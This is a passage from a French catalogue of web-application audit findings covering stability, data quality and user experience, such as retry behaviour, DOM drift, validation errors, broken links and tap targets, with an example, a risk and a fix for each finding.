Une zone qui défile ne peut pas recevoir le focus clavier. Une personne qui n'utilise pas la souris ne peut donc pas faire défiler son contenu, et ce qui dépasse lui reste inaccessible.

Exemple
Un tableau large dans un conteneur overflow: auto sans tabindex="0".
Risque
Du contenu devient littéralement inatteignable sans souris.
Correction
Ajouter tabindex="0" sur le conteneur défilant, et un nom accessible décrivant son contenu.

Stabilité

26

Ce qui tient sous une panne, un rechargement ou un lien ouvert directement.

Au rejeu, l’effet attendu n’a pas eu lieu

Le modèle du parcours attend une écriture (requête POST/PUT/PATCH) à cette étape ; le rejeu ne l’a pas observée. Soit l’action n’a rien déclenché, soit elle a échoué silencieusement.

Exemple
Le parcours « Inviter un membre » attendait POST /api/invitations après le clic sur Envoyer ; aucune requête de ce type n’a été vue.
Risque
L'action que l'utilisateur croit avoir effectuée n'a en réalité aucun effet côté serveur.
Correction
Rejouer le parcours manuellement pour confirmer, puis vérifier le handler et le réseau à cette étape.
Au rejeu, un appel imprévu s’est glissé

Le rejeu a observé une requête que le modèle n'attendait pas à cette étape, un effet de bord qui n'existait pas quand le parcours a été appris.

Exemple
Un appel GET /api/analytics supplémentaire apparaît là où seule la navigation était attendue.
Risque
Effet de bord non maîtrisé (tracking ajouté, appel redondant, fuite de requête).
Correction
Vérifier si la requête est un ajout légitime (à documenter) ou un effet de bord à supprimer.
Au rejeu, une étape a mené ailleurs que prévu

Le modèle attend d’atterrir sur un état donné (route ou sous-état) après cette étape ; le rejeu a atterri ailleurs.

Exemple
Après soumission du formulaire d’invitation, le modèle attend /team ; le rejeu montre /error.
Risque
Le parcours ne mène plus là où l'utilisateur s'y attend, casse un enchaînement métier.
Correction
Comparer manuellement la trace attendue et observée pour situer la divergence côté front ou back.
Aucune nouvelle tentative après un échec maintenu retry

Un appel de données a été maintenu en échec pendant une fenêtre d'observation et l'application n'a plus jamais retenté cet appel : la première réponse en erreur a été définitive.

Exemple
Un fetch sans bloc catch de nouvelle tentative : l'échec est traité une fois et jamais revisité.
Risque
Une panne transitoire de quelques secondes prive durablement la personne de la donnée.
Correction
Retenter les échecs transitoires (5xx, timeout) avec un nombre de tentatives borné et un délai croissant, jamais les erreurs 4xx.
Des éléments changent d’habillage d’un chargement à l’autre classes CSS

Entre deux captures successives de la page, l'attribut class d'un même élément a changé. Sur les SPA modernes (Tailwind, Headless UI, CSS-in-JS) ce code est extrêmement bruyant : un hover, un focus, un état loading, une transition framer-motion déclenchent constamment des changements. Utile pour détecter des dérives DOM massives (rerender complet, instabilité de layout), peu actionnable pour les petites variations.

Exemple
Bouton qui ajoute/retire hover:bg-primary-600 au survol → diff détecté à chaque snapshot.
Risque
Faux positifs massifs sur les SPA Tailwind : 1 page = des centaines d'occurrences sans incident métier.
Correction
Si l'app utilise Tailwind / Headless UI / framer-motion : masquer ce code via la Config Gates pour ne garder que les drifts structurels. Sinon, préférer des data-testid stables et investiguer les composants qui rerendent en boucle.
Des éléments changent d’identifiant d’un chargement à l’autre id

Entre deux captures, l'attribut id d'un même élément a changé. Indique souvent un ID généré dynamiquement (uuid au mount) qui casse les ancres, les sélecteurs de tests et les hooks d'accessibilité (aria-labelledby).

Exemple
ID radix-:r3: régénéré à chaque montage → tests Playwright qui ciblent l'ID cassent.
Risque
Tests E2E flaky sur les sélecteurs #id.
Correction
Utiliser useId() (React) ou des IDs stables, et exposer des data-testid pour les sélecteurs de test.
Des identifiants changent d’un chargement à l’autre id

Entre deux chargements identiques de la même URL, l'attribut id d'un même élément a changé. Typiquement un identifiant généré à la volée (uuid, compteur de montage) au lieu d'un identifiant stable.

Exemple
ID radix-:r3: régénéré à chaque montage : le test Playwright qui cible #radix-:r3: casse au run suivant.
Risque
Ancres internes qui ne pointent plus sur rien après un redéploiement ou un rechargement.
Correction
Générer les identifiants avec une API déterministe (useId() en React, useId() en Vue 3.5+) et exposer un data-testid stable pour les sélecteurs de test.
Écran vide quand le serveur ne répond pas

Une seule requête de données (fetch / XHR) a été interrompue et la page entière s'est vidée. Le rendu dépend d'un appel unique sans aucune dégradation gracieuse : pas de contenu partiel, pas de message d'erreur.

Exemple
Une erreur non rattrapée dans le chargement des données fait remonter l'exception jusqu'à la racine et démonte tout l'arbre.
Risque
Un incident réseau ponctuel blanchit l'écran au lieu de dégrader l'expérience.
Correction
Isoler chaque zone dépendante d'une requête derrière une frontière d'erreur qui affiche un message et un bouton « réessayer », plutôt que de laisser l'exception démonter la page.
L’erreur brute d’un service tiers atteint la personne qui utilise l’application error propagation

Un domaine tiers a répondu en erreur, et son message technique (code, texte brut) est arrivé jusqu'à l'écran sans avoir été reformulé pour la personne qui le lit.

Exemple
Un alert(error.message) qui affiche le message d'erreur renvoyé tel quel par le fournisseur.
Risque
La personne qui lit le message n'a aucune raison de connaître le vocabulaire d'un fournisseur dont elle ignore l'existence.
Correction
Traduire toute erreur de service tiers en message générique et actionnable avant affichage.
L’ordre des éléments change d’un chargement à l’autre

L'ordre des éléments dans le DOM a changé entre deux snapshots, sans interaction utilisateur. Symptôme de tri non déterministe, de rerender qui réinjecte les noeuds, ou de stratégie de virtualisation instable.

Exemple
Liste triée par Object.keys() sur un objet → ordre dépendant de l'implémentation moteur JS.
Risque
Cliques utilisateur qui atterrissent sur le mauvais élément (race condition).
Correction
Trier explicitement (array.sort((a, b) => a.id - b.id)) et utiliser des key stables React/Vue.
La panne d’un service tiers entraîne celle de fonctions qui n’en dépendent pas bulkhead

Un domaine tiers précis a été coupé, et une capacité de l'application qui n'en dépend pas a cessé de fonctionner (page vide, erreur globale) au lieu de continuer normalement.

Exemple
Un script analytique ou un widget de chat chargé de façon bloquante avant le reste de l'application.
Risque
Toute l'application dépend, sans le savoir, de la disponibilité d'un fournisseur secondaire.
Correction
Charger les intégrations tierces de façon non bloquante et entourer leur échec d'une gestion d'erreur qui ne remonte jamais jusqu'à casser le reste de la page.
Le délai annoncé par le serveur avant de retenter n’est pas respecté Retry-After

Le serveur a répondu avec un en-tête Retry-After demandant d'attendre un délai donné, et l'application a retenté l'appel avant que ce délai ne soit écoulé.

Exemple
Une politique de retry à intervalle fixe qui ne lit jamais les en-têtes de la réponse en erreur.
Risque
Le client ajoute de la charge à un service qui a explicitement demandé un délai.
Correction
Lire Retry-After quand il est présent et attendre au moins ce délai avant la tentative suivante.
Les appels continuent d’attendre aussi longtemps après plusieurs échecs circuit breaker

Après plusieurs échecs consécutifs sur le même appel, les tentatives suivantes attendent encore une réponse aussi longtemps que la toute première : rien ne raccourcit l'attente une fois la panne installée.

Exemple
Un appel HTTP sans disjoncteur : chaque nouvel essai attend le même délai d'expiration que le premier.
Risque
Un service qui répond lentement plutôt que de tomber franchement épuise progressivement les ressources de qui l'appelle.
Correction
Ouvrir un disjoncteur après quelques échecs consécutifs : rejeter les appels suivants immédiatement, puis retester périodiquement.
Les tentatives reviennent toujours au même rythme exponential backoff

L'écart entre les tentatives successives reste constant au lieu de croître : la politique de retry ne ralentit jamais, même après plusieurs échecs de suite sur le même appel.

Exemple
Un setInterval qui relance le même appel toutes les deux secondes, indépendamment du résultat.
Risque
En cas de panne partagée par plusieurs clients, tout le monde retente au même rythme, ce qui peut empêcher le service de jamais rattraper la charge.
Correction
Faire croître le délai entre tentatives (par exemple ×2 à chaque échec), avec un plafond.
Page blanche

La page s’est chargée mais son contenu apparaît vide (aucun contenu visible détecté). Symptôme classique d’un crash au montage ou d’un rendu côté client qui n’aboutit jamais.

Exemple
Une SPA qui plante avant l’hydratation : le <div id="app"> reste vide.
Risque
Page totalement inutilisable pour l’utilisateur.
Correction
Vérifier la console pour l’exception au montage, s’assurer que la route rend un contenu (ou un état de chargement/erreur) dans tous les cas.
Un chargement qui ne se termine jamais

Un indicateur de chargement (spinner, squelette, aria-busy) était toujours présent après le délai d'attente du crawler, sur une page quasi vide. Le contenu réel n'est jamais arrivé : la page est restée coincée sur son état de chargement.

Exemple
La liste des leads affiche son squelette puis reste vide : la requête GET /api/leads a échoué en silence.
Risque
L'utilisateur fait face à un écran vide ou perpétuellement en attente, sans comprendre ce qui se passe.
Correction
Gérer l'état d'erreur du chargement (message + retry) et poser un timeout ; ne jamais laisser un squelette sans issue.
Un détail technique brut reste affiché pendant la panne stack trace

Pendant que l'appel de données échouait, une pile d'appel ou un objet d'erreur sérialisé est resté visible dans la page, au lieu d'un message pensé pour la personne qui la lit.

Exemple
Un catch (e) { element.textContent = e.stack } affiche la pile JavaScript telle quelle.
Risque
Une pile d'appel peut nommer des fichiers, des fonctions ou des dépendances internes.
Correction
Traduire toute erreur technique en message destiné à la personne avant affichage ; réserver la pile d'appel aux journaux.
Un écran vide là où une erreur devrait être annoncée

Quand une requête de données échoue, l’erreur est avalée et l’écran affiche un vide qui ressemble à un état vide normal : l’utilisateur ne sait pas qu’un problème est survenu et une action peut sembler réussir alors qu’elle a échoué.

Exemple
Une liste (membres, historique) s’affiche vide parce que le fetch a renvoyé une erreur silencieusement traitée comme [].
Risque
Perte de confiance et confusion : un échec ressemble à un état normal.
Correction
Distinguer explicitement « vide » de « erreur » : afficher un état d’erreur avec possibilité de réessayer quand un chargement échoue.
Un élément apparaît au second chargement

Un élément absent au premier chargement apparaît au second. Sur une SPA c'est très souvent bénin (portail, toast, squelette remplacé, balise <style> injectée par le moteur CSS-in-JS). Le signal ne devient intéressant qu'en volume ou en répétition sur le même conteneur.

Exemple
Toast de bienvenue affiché après 500 ms : présent dans une capture, absent dans l'autre.
Risque
Bruit important sur les SPA : des centaines d'occurrences sans incident métier réel.
Correction
Vérifier que chaque effet monté rend bien une fonction de nettoyage, et que les portails/modales sont démontés ; sinon masquer ce code via les Config Gates si la stack l'émet structurellement.
Un élément apparaît d’un chargement à l’autre

Entre deux snapshots, un noeud est apparu sans déclencheur métier. Sur SPA, généralement bénin (portails, modals lazy, toasts). Sur certaines apps c'est le signe d'un effet useEffect qui s'exécute en boucle.

Exemple
Modal qui se monte lors d'un fetch silencieux → noeud ajouté pour rien.
Risque
Fuite DOM : accumulation de noeuds invisibles non nettoyés.
Correction
Vérifier les useEffect sans cleanup, et que les modals/portails sont bien démontés après usage.
Un élément disparaît d’un chargement à l’autre

Entre deux snapshots, un noeud a disparu sans action utilisateur. Souvent bénin sur SPA (rerender, splash, loader), parfois indicateur d'un crash silencieux d'un sous-composant capturé par un ErrorBoundary.

Exemple
Carte produit qui disparaît après un fetch d'image en 404 → ErrorBoundary mute silencieusement.
Risque
Sections critiques qui disparaissent sans message utilisateur (silent fail).
Correction
Vérifier les ErrorBoundary : remplacer 'rien' par un message d'erreur visible, et logguer le crash.
Un élément manque au second chargement

Un élément présent au premier chargement n'apparaît pas au second, à URL et état identiques. Le rendu dépend donc de quelque chose qui n'est pas garanti : une course réseau, un cache tiède, ou un sous-arbre qui a échoué sans message.

Exemple
Section « recommandations » rendue seulement si une API secondaire répond avant le premier rendu.
Risque
Contenu métier invisible pour une partie des utilisateurs, sans aucune erreur remontée.
Correction
Rendre l'affichage indépendant de l'ordre d'arrivée des réponses (état de chargement explicite) et remplacer tout repli null d'ErrorBoundary par un message visible plus un log.
Une adresse directe renvoie ailleurs

Ouvrir l'écran par son adresse (lien partagé, favori, rechargement) n'y mène pas : l'application redirige ailleurs, le plus souvent vers la connexion.

Exemple
/projects ouvert directement renvoie sur /login alors que la session existe.
Risque
Un lien partagé ou un favori ne fonctionne pas.
Correction
Restaurer la session au chargement direct avant de rediriger ; vérifier que l'état d'authentification survit à un rechargement.
Une attente sur un service tiers ne se termine jamais timeout

Une requête vers un domaine tiers a été retardée au-delà de dix secondes, et l'indicateur de chargement est resté affiché sans qu'aucun abandon ni message ne se déclenche.

Exemple
Un appel fetch sans AbortSignal.timeout() ni délai d'expiration configuré.
Risque
L'utilisateur ne sait pas si l'application a planté ou si elle travaille encore.
Correction
Fixer un délai d’expiration explicite sur tout appel vers un service tiers, avec un message en cas de dépassement.
Une erreur de requête est retentée comme si elle pouvait réussir 4xx

L'appel a échoué avec un code indiquant un problème dans la requête elle-même (400, 404…), et l'application l'a retenté à l'identique : le résultat sera pourtant toujours le même.

Exemple
Un intercepteur HTTP générique qui retente toute réponse en erreur, sans distinguer le code.
Risque
La charge est gaspillée sur un appel dont l'issue est déjà connue.
Correction
Ne retenter que les codes transitoires (429, 5xx, timeout) ; traiter un 4xx comme définitif.
Une panne du serveur passe sans un mot pour la personne

Une requête a été interrompue et l'interface n'a rien changé : aucun message, aucun état d'erreur, aucune alerte. Si la donnée manquante était structurante, l'utilisateur consulte une vue incomplète sans le savoir.

Exemple
Un catch qui se contente de logguer en console et laisse l'écran inchangé.
Risque
Décisions prises sur des données partielles présentées comme complètes.
Correction
Rattraper l'échec au niveau du composant et le rendre visible (bandeau, toast, état d'erreur local) ; réserver le log console au diagnostic, jamais comme seule réaction.

Qualité

23

La tenue générale : textes, images, liens, cohérence d’un écran à l’autre.

Le même identifiant apparaît deux fois dans une même liste

Une liste ou un tableau d’au moins trois lignes affiche deux fois le même identifiant (numéro de commande, référence, identifiant) sur des lignes différentes.

Exemple
La commande « CMD-1042 » apparaît en ligne 3 et en ligne 9 d’un même tableau de commandes.
Risque
Une action lancée sur « la » ligne devient ambiguë : laquelle des deux a été modifiée ou supprimée ?
Correction
Vérifier la clé d’unicité côté source (contrainte d’unicité en base, déduplication à l’agrégation) plutôt que côté affichage.
Les erreurs de saisie sont renvoyées en texte libre Problem+JSON

Les erreurs de validation sont renvoyées en texte brut ('email is required') au lieu du format standardisé Problem Details for HTTP APIs (RFC 9457). Les clients API ne peuvent pas traiter les erreurs de façon programmatique et l'expérience utilisateur se dégrade (messages incohérents, pas de mapping vers les champs de formulaire).

Exemple
POST /api/users répond 400 avec body "Email is required and password must be at least 8 characters" → le front ne sait pas quel champ surligner.
Risque
Front incapable d'afficher des messages d'erreur cohérents et localisés.
Correction
Adopter le format RFC 9457 (Problem+JSON) : { type, title, status, detail, errors: [{ field, code, message }] } côté API.
Un champ non prévu est accepté et renvoyé tel quel additionalProperties

Un champ que le formulaire ne proposait pas est ajouté à la requête, et l'API le renvoie dans sa réponse : elle ne filtre donc pas les champs qu'elle reçoit. Un champ sensible (rôle, statut, identifiant d'un tiers) ajouté de la même façon prendrait le même chemin.

Exemple
POST /api/notes avec un champ role: "admin" ajouté à la main se retrouve dans la réponse : rien ne l’a filtré.
Risque
Assignation de masse : un client peut modifier un champ qu'aucune interface ne lui propose (rôle, statut, propriétaire).
Correction
Refuser ou ignorer explicitement les champs non déclarés au schéma (additionalProperties: false en JSON Schema, .strict() en Zod).
Un écran que rien ne permet d’atteindre route orpheline

Une route déclarée dans le routeur de l'application (lue dans le bundle JS) n'a été atteinte par aucun lien pendant le crawl. La navigation vers cet écran se fait par un handler JS, pas par un <a href> : la destination est invisible au clavier, aux robots et à l'audit.

Exemple
Le bundle déclare /stats, /team, /workspaces mais aucun lien de la nav n'y mène : on y va par un menu ou une carte cliquable.
Risque
Écrans inaccessibles aux utilisateurs naviguant au clavier ou au lecteur d'écran.
Correction
Exposer la navigation vers ces routes par de vrais <a href> ; réserver les handlers JS aux actions sans changement d’URL.
Un écran réservé que l’audit n’a pas pu ouvrir route protégée

Une route déclarée dans le bundle n'a pas été atteinte parce qu'elle est protégée (login, register, espace admin). C'est un fait sur le périmètre du crawl, pas un défaut de l'application.

Exemple
Les routes /admin/* ne sont pas atteintes : le compte de crawl n'a pas le rôle plateforme.
Risque
Aucun risque applicatif direct : information sur ce que le crawl ne pouvait pas voir.
Correction
Fournir un compte aux droits suffisants (ou un flux d'invitation) pour couvrir ces zones si nécessaire.
Un élément nécessaire au scénario n’a pas pu être créé

Un scénario d’audit dépendait d’une entité à créer au préalable (ex : créer un membre avant de tester son édition), mais cette création a échoué. Les étapes suivantes n’ont pas pu être auditées.

Exemple
Impossible de créer un enregistrement de test → le parcours d’édition n’est pas exploré.
Risque
Couverture d’audit incomplète sur les parcours dépendants.
Correction
Vérifier le formulaire/endpoint de création ; corriger l’erreur pour débloquer les scénarios dépendants.
Un horodatage de dernière mise à jour n’a pas bougé depuis longtemps

Un texte du type « Dernière mise à jour » ou « Last updated » affiche une date de plus de 90 jours avant l’audit.

Exemple
Une fiche produit indique « Dernière mise à jour : 12/03/2024 » un an après cette date.
Risque
La personne qui lit cette date s’y fie pour juger la fraîcheur de la donnée, à tort si elle n’est plus rafraîchie.
Correction
Vérifier que le champ de mise à jour est bien réécrit à chaque changement réel, et alerter si sa fraîcheur dépasse un seuil.
Un lien cassé

Un lien pointe vers une cible inaccessible (4xx/5xx) ou invalide. La source (anchor, bouton, dropdown, programmatique) est indiquée dans le détail.

Exemple
/dashboard/old -> 404 référencé depuis un <a> du menu.
Risque
Impasse de navigation et frustration utilisateur.
Correction
Corriger ou supprimer la cible morte ; pour un bouton, vérifier le handler de navigation.
Un lien interne vers une page introuvable 404

Un lien interne pointe vers une page qui n'existe plus. Souvent un slug renommé sans redirect.

Exemple
Lien menu vers /old-feature supprimé après refactor.
Risque
Parcours utilisateur cassé.
Correction
Mettre en place une redirection 301 ou corriger le lien.
Un lien vers un site extérieur qui ne répond plus

Un lien sortant pointe vers une ressource qui répond en erreur (4xx/5xx). L'utilisateur tombe sur une page d'erreur.

Exemple
Un lien vers un article tiers supprimé renvoie un 404.
Risque
Crédibilité éditoriale entamée.
Correction
Corriger ou retirer le lien ; mettre en place une vérification périodique des liens sortants.
Un texte affiché sous sa forme de clé, non traduit i18n

Une clé d’internationalisation apparaît telle quelle dans le DOM (ex : dashboard.title) au lieu du texte traduit. La chaîne n’a pas été résolue par le système i18n.

Exemple
members.emptyState affiché brut à la place de « Aucun membre ».
Risque
Interface non professionnelle et déroutante pour l’utilisateur.
Correction
Ajouter la clé manquante dans les fichiers de traduction ou corriger le namespace/chemin utilisé.
Une cellule est vide alors que la même colonne est remplie ailleurs

Dans un même tableau, une colonne porte une valeur sur certaines lignes et rien du tout sur d’autres : la donnée existe pour ce champ, elle manque juste sur cet enregistrement.

Exemple
La colonne « Client » est renseignée sur 9 lignes sur 10 d’un tableau de commandes, vide sur la dixième.
Risque
Un traitement en aval qui suppose le champ toujours rempli peut échouer ou produire un résultat incorrect sur cette ligne.
Correction
Rendre le champ obligatoire à la saisie ou à l’import, ou documenter explicitement pourquoi il peut manquer.
Une erreur affiche un détail technique interne trace / SQL

Le corps d'une réponse en erreur contient un détail qui n'a rien à faire côté client : une trace d'exécution, une requête écrite en clair, ou le nom d'une table de base de données. Ce détail donne à qui l'observe une longueur d'avance pour cartographier le système.

Exemple
POST /api/users répond 500 avec at Object.<anonymous> (/app/src/users.js:42:17) dans le corps.
Risque
Reconnaissance facilitée pour un attaquant (chemins de fichiers, noms de tables, bibliothèques utilisées).
Correction
Attraper les erreurs avant leur sortie et ne renvoyer côté client qu’un message générique ; garder la trace dans les journaux serveur.
Une erreur dans le code de la page JavaScript

Une exception JavaScript a été levée pendant le chargement ou l’interaction avec la page. Une erreur non gérée interrompt le script en cours et peut laisser l’interface dans un état incohérent.

Exemple
Uncaught TypeError: Cannot read properties of undefined (reading 'map') : une donnée attendue est absente.
Risque
Fonctionnalité inutilisable : le bouton ou l’écran concerné ne répond plus.
Correction
Ouvrir la console, reproduire le scénario, corriger la cause racine (donnée manquante, accès null) et ajouter une garde défensive ou un error boundary.
Une erreur de saisie ne dit pas quel champ est en cause field / violations

Une réponse d'erreur (4xx) ne porte ni field, ni path, ni une liste violations/errors. Le client ne peut deviner laquelle de ses données a été refusée : il ne peut ni surligner le bon champ de formulaire, ni écrire un traitement automatique par champ.

Exemple
POST /api/orders répond 422 avec { "title": "Validation failed" } : rien ne dit si c’est quantity ou customerId qui est en cause.
Risque
Formulaire incapable de surligner le champ fautif.
Correction
Ajouter violations: [{ field, message }] (ou errors) à chaque réponse de validation, même minimaliste.
Une erreur technique se produit pendant que la page fonctionne TypeError: Cannot read properties of null

Le navigateur signale une erreur JavaScript de lecture sur une valeur absente pendant la visite : le code s’attendait à recevoir une donnée qui n’était pas là.

Exemple
Une réponse d’API renvoie "customer": null et l’écran tente de lire customer.name.
Risque
Une partie de l’écran peut rester incomplète, figée ou muette sans aucun message pour la personne.
Correction
Vérifier la présence de la valeur avant de lire ses propriétés, et donner une valeur de repli explicite côté API ou côté rendu.
Une image qui ne s’affiche pas

Une image référencée par la page n’a pas pu être chargée (requête HTTP en échec). L’emplacement reste vide ou affiche l’icône d’image cassée.

Exemple
<img src="/logo.png"> renvoyant 404.
Risque
Rendu dégradé et perte de contenu visuel (logo, illustration).
Correction
Corriger l’URL de l’image, vérifier sa présence sur le serveur/CDN et réserver width/height.
Une incohérence métier n’est pas bloquée à la soumission

Une date de fin antérieure à la date de début, ou un montant négatif, est acceptée avec un code de succès. La saisie est syntaxiquement valide (un format de date correct, un nombre) mais sémantiquement absurde pour le métier : et rien ne l'arrête avant qu'elle ne traverse le système.

Exemple
POST /api/bookings avec une date de fin antérieure à la date de début répond 201.
Risque
Donnée métier absurde qui traverse le système jusqu'à un rapprochement comptable ou un rapport, des mois plus tard.
Correction
Ajouter une validation croisée entre champs (date de fin postérieure à la date de début, montant positif) avant d'enregistrer.
Une saisie incorrecte fait planter le serveur au lieu d’être refusée HTTP 500

Une entrée invalide côté client provoque une erreur 500 côté serveur au lieu d'un 400/422. Symptôme d'une absence de validation amont : l'erreur fuite sur la couche métier, expose potentiellement des détails techniques (stack trace, chemins de fichiers, requêtes SQL) et brouille la distinction entre bug utilisateur et bug serveur.

Exemple
Un POST /api/users avec email: null répond 500 avec TypeError: Cannot read properties of null (reading 'toLowerCase').
Risque
Fuite de détails techniques internes (stack traces, schémas DB) → reconnaissance facilitée pour un attaquant.
Correction
Ajouter une validation explicite en entrée (Zod, Joi, class-validator) qui renvoie un 400 structuré avant d'atteindre la couche métier.
Une saisie invalide est acceptée alors qu’elle aurait dû être refusée

En retirant un champ obligatoire ou en forçant une valeur d'un type incorrect, l'appel obtient tout de même un code de succès. La validation de schéma annoncée par l'API n'est vérifiée que côté client : un appel direct à l'API la contourne entièrement.

Exemple
POST /api/orders sans customerId répond 201 : le champ obligatoire n’est pas vérifié côté serveur.
Risque
Données corrompues qui traversent le système et échouent plus loin, avec un message incompréhensible.
Correction
Valider le corps de la requête côté serveur avec un schéma (Zod, Joi, class-validator) avant tout traitement métier.
Une valeur affichée ne respecte pas le format attendu

Une valeur affichée dans une colonne dont le nom indique clairement son format (courriel, date, montant) ne respecte pas ce format : un courriel sans arobase, une date non interprétable, un montant négatif sur un libellé de prix.

Exemple
Colonne « Email » : « jean.dupontexample.com » sans arobase.
Risque
Une donnée mal formée à l’affichage l’est souvent aussi à la source, avec un risque d’échec silencieux plus loin (envoi d’un courriel, calcul d’un total).
Correction
Valider le format à la saisie ou à l’import, avant que la valeur n’atteigne l’affichage.
Une valeur extrême fait planter le formulaire au lieu d’être refusée

Une valeur de bordure (une chaîne de 300 caractères, du texte accentué ou en idéogrammes, un nombre négatif) provoque une erreur serveur (500) ou fait fuir un détail interne, là où une valeur ordinaire aurait été acceptée ou proprement refusée. Un jeu de données de test réaliste aurait détecté ce cas avant la mise en production.

Exemple
Un commentaire de 300 caractères envoyé à /api/comments répond 500 avec une trace d’exécution dans le corps.
Risque
Panne déclenchée par une saisie ordinaire (un utilisateur qui colle un texte long, un nom avec un accent).
Correction
Ajouter des bornes de longueur/format explicites au schéma de validation et des cas de test avec des valeurs de bordure (vide, très long, unicode, négatif).
Une valeur technique s’affiche à la place d’une vraie donnée null / undefined / NaN / [object Object] / Invalid Date

Le texte affiché contient un mot que seul un programme produit (« null », « undefined », « NaN », « [object Object] » ou « Invalid Date ») signe qu’une valeur absente ou d’un type inattendu a traversé le rendu sans être interceptée.

Exemple
Une fiche client affiche « Téléphone : null » au lieu de masquer la ligne.
Risque
Perte de confiance immédiate : la personne voit que l’application « fuit » son fonctionnement interne.
Correction
Donner une valeur de repli à chaque champ optionnel avant affichage (chaîne vide, tiret, ou ligne masquée) plutôt que de laisser passer la valeur brute.

Expérience

19

Ce que la personne voit et touche : tailles d’écran, gestes, zones cliquables.

Des boutons auxquels rien n’est relié sans handler

Des boutons n'ont aucun gestionnaire d'événement (onClick JS, attribut formaction, lien). Clic = rien.

Exemple
Un bouton 'Sauvegarder' sans handler → l'utilisateur clique 5 fois, rien ne se passe, abandon.
Risque
Confusion utilisateur, abandon de workflow.
Correction
Soit ajouter le handler manquant, soit retirer le bouton du DOM.
Des champs de saisie hors de tout formulaire

Des champs <input> ne sont rattachés à aucun <form>. Pas de validation HTML5, pas de soumission par Entrée, autofill cassé.

Exemple
Champ de recherche sans <form> → l'utilisateur tape Entrée, rien.
Risque
UX clavier cassée (Entrée ne soumet pas).
Correction
Englober dans un <form> (même sans action) et brancher un handler de submit.
Des éléments cliquables qui se chevauchent

Deux éléments interactifs (boutons, liens) se recouvrent à plus de 30 % de la surface du plus petit. Les taps atterrissent sur la mauvaise cible.

Exemple
Deux boutons d'action « en escalier » qui se superposent dans un header comprimé à 375px.
Risque
Taps sur la mauvaise cible → actions non désirées.
Correction
Empiler les actions (grid grid-cols-2 sm:flex) et garantir des cibles séparées d'au moins 44px.
Des liens qui ne mènent nulle part

Des balises <a> sans href ou avec href='#' qui ne déclenchent rien. Visuellement c'est un lien, fonctionnellement c'est mort.

Exemple
<a href='#'>En savoir plus</a> sans JS → clic remonte en haut de page.
Risque
Frustration utilisateur, perte de confiance.
Correction
Remplacer par un vrai href ou un <button> selon la sémantique.
Des onglets qui ne changent rien quand on les choisit

Des onglets sont présents visuellement mais ne changent pas de contenu au clic. UI trompeuse.

Exemple
Onglets stylisés sans JS branché → clic = pas de changement.
Risque
Utilisateur croit que des contenus manquent.
Correction
Brancher la logique de switch + gérer aria-selected / tabpanel.
Des zones à toucher sous la taille recommandée 44×44 px

Élément interactif entre 24 et 44 px sur mobile. Il **respecte** le critère normatif WCAG 2.5.8 (AA, 24×24) et reste sous la recommandation WCAG 2.5.5 (AAA, 44×44) et les guides Apple/Material. C'est une recommandation, pas une non-conformité.

Exemple
Bouton icône de 32 px dans une barre d'outils.
Risque
Précision du doigt dégradée en mobilité ; ce n'est pas un échec d'accessibilité.
Correction
Élargir la zone cliquable (padding) sans forcément agrandir le visuel.
Du contenu tronqué par sa propre carte

Le contenu propre d'un élément déborde de sa zone visible et est masqué par un ancêtre overflow: hidden/clip (une carte), sans indicateur. Invisible au check de débordement viewport car le rect reste dans l'écran.

Exemple
Une valeur de métrique Critique 5.00s coupée par la carte Configuration à 375px.
Risque
Information tronquée et illisible.
Correction
Utiliser flex-wrap, min-w-0 + truncate maîtrisé, ou empiler en colonne sous le breakpoint.
La page déborde de l’écran sur ordinateur

Sur le viewport desktop (>= 1280px), le contenu déborde horizontalement. Problème de layout visible pour tous les utilisateurs : largeur de conteneur mal calibrée, élément avec min-width excessive, image non contrainte, etc.

Exemple
Un tableau de 20 colonnes force un scroll horizontal sur le viewport principal : UX très dégradée.
Risque
Layout perçu comme cassé sur la résolution la plus commune en desktop.
Correction
Identifier l'élément débordant (DevTools * { outline: 1px solid red }), appliquer max-width: 100% et overflow-x: auto aux conteneurs concernés.
La page déborde de l’écran sur tablette

Sur le viewport tablette (768-1024px), le contenu déborde horizontalement et force un scroll latéral. Format pourtant courant pour la consultation de contenu (iPad, Surface) : l'expérience est dégradée pour une part significative des utilisateurs.

Exemple
Tableau de bord admin qui s'affiche bien sur desktop mais déborde sur iPad portrait : l'utilisateur doit scroller pour voir les boutons d'action.
Risque
Expérience dégradée sur un format représentant 5-15 % du trafic selon les secteurs.
Correction
Ajouter un breakpoint tablette dédié (@media (max-width: 1024px)) et utiliser max-width: 100% sur les conteneurs qui ne respectent pas le viewport.
La page introuvable est celle du serveur, pas de l’application 404

Les URL inexistantes renvoient une page d'erreur serveur brute au lieu d'une 404 maison : UX pauvre et fuite éventuelle de la stack.

Exemple
Une URL erronée affiche la page 404 Not Found par défaut de Nginx.
Risque
Expérience utilisateur dégradée (impasse).
Correction
Configurer une page 404 personnalisée (cohérente avec le design) côté serveur/SSG.
La page ne s’adapte pas à la taille de l’écran meta viewport

La balise <meta name="viewport"> est absente, mal configurée, ou bloque la mise à l'échelle. Sans elle, le mobile affiche la version desktop zoomée à 980px et l'utilisateur doit pincer pour zoomer : l'app est inutilisable sans manipulation manuelle.

Exemple
Pas de balise viewport → iPhone affiche la page à 33 % de taille, illisible.
Risque
App inutilisable sur mobile sans zoom manuel (>50 % du trafic perdu).
Correction
Ajouter <meta name="viewport" content="width=device-width, initial-scale=1"> dans le <head> (sans user-scalable=no qui casse l'accessibilité).
Un bouton qui ne fait rien

Un bouton paraît actif visuellement mais n'a aucun handler attaché. Différent d'un orphelin : ici l'élément est styled comme actif.

Exemple
Bouton CTA principal de la home sans onClick (oubli React).
Risque
Perte de conversion directe.
Correction
Brancher le handler ou désactiver visuellement le bouton (disabled).
Un clic intercepté par un élément posé par-dessus

L'élément est fonctionnel, mais un autre nœud le recouvre au point de clic et reçoit l'interaction à sa place. Vérifié par elementFromPoint sur le centre de la cible avant de conclure.

Exemple
Bannière de consentement fixée en bas d'écran masquant les actions du pied de page.
Risque
L'utilisateur clique, rien ne se produit, et il conclut que la fonction est cassée.
Correction
Réduire l'emprise de l'élément superposé, lui donner pointer-events: none quand il est décoratif, ou réserver son espace dans le flux plutôt que de le fixer par-dessus.
Un clic sans effet visible

L'utilisateur clique sur un élément, mais aucun retour visuel (loader, état, mutation, message). L'app paraît figée.

Exemple
Bouton 'Envoyer' → aucune indication de progression → l'utilisateur clique 5 fois.
Risque
Double-soumissions involontaires (paiements, envois).
Correction
Ajouter un état loading / disabled pendant la requête, et un message de succès/échec.
Un élément cliquable coupé par le bord de l’écran

